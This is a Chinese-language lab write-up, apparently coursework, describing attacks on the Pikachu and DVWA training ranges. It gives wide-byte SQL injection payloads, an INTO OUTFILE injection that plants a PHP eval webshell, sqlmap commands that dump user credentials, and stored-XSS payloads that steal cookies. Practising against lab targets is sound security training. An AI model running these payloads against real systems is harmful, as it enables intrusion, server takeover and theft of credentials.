1、利用宽字节注入实现“库名-表名”的注入过程,写清楚注入步骤;
由于网站的过滤,调用其addslashes( ) 函数在单引号之前添加反斜线 \ 进行转义,我们需要让 \ 无效实现单引号的逃逸。
解决方法:因为addslashes( )函数使用时会对输入内容进行URL编码(即添加的 \ 也会编码成%5c)在加上网站本身就设置了GBK编码方式,所以可以利用GBK编码方式(即汉字编码范围内两个字节都会被重新编码为一个汉字)将 \ 转换成汉字实现单引号的逃逸。例:%df%5c 会转换成汉字"運"。
-
库名(pakachu)
a.对pikachu靶场的宽字节注入模块进行抓包
b.将包发送到repeater模块,修改请求正文中是name参数为
1%df' union all select 1,database()#
来实现对库名的获取(采用联合注入时要注意字段数,这里的字段数为2) -
表名(httpinfo,member,message,users,xssblind)
1%df' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2、利用SQL注入实现DVWA站点的Getshell,写清楚攻击步骤;
-
调用
select into outfile
命令通过sql注入上传带有一句话木马的shell脚本文件' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/shell666.php
- 上传成功,且能直接使用系统命令查看返回值
-
用蚁剑链接
-
成功GetShell
3、使用Sqlmap工具完成对DVWA数据库的注入过程,要求按照库、表、列、内容的顺序进行注入;
-
这里会调用 -r 选项(即上传指定文本文件),先通过抓包获取到SQL注入模块的请求数据包,然后将其写入1.txt文本文件中,最后保存到sqlmap目录下。
-
获取库
python sqlmap.py -r 1.txt --batch --dbs
-
获取表
python sqlmap.py -r 1.txt --batch -D dvwa --tables
-
获取列
python sqlmap.py -r 1.txt --batch -D dvwa -T users --column
-
获取内容
python sqlmap.py -r 1.txt --batch -D dvwa -T users -C user,password --dump
-
4、完成DVWA靶场存储型XSS的漏洞练习。
-
Low
-
Medium
网站采用了对关键字script替换为空的过滤,可以通过大小写绕过
-
控制台(F12)修改输入框的长度限制
-
实现注入
-
-
High
网站采用了对关键字s、c、r、i、p、t、字母进行正则表达式过滤,避免出现以上关键字组合,可以采用img标签中的图片加载失败事件,进行注入(同Medium等级一样,需要先修改输入框长度限制)
<img src=## one rror=alert(document.cookie)>